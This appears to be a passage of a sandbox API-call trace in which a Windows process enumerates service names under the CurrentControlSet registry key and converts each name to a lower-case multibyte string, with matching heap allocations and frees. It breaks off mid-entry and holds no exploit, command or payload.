[0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.377] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0246.377] RegCloseKey (hKey=0x154) returned 0x0 [0246.377] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.378] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.378] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.378] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.378] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0246.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.379] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.379] RegCloseKey (hKey=0x150) returned 0x0 [0246.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0246.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.380] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0246.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.381] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.382] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0246.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.382] 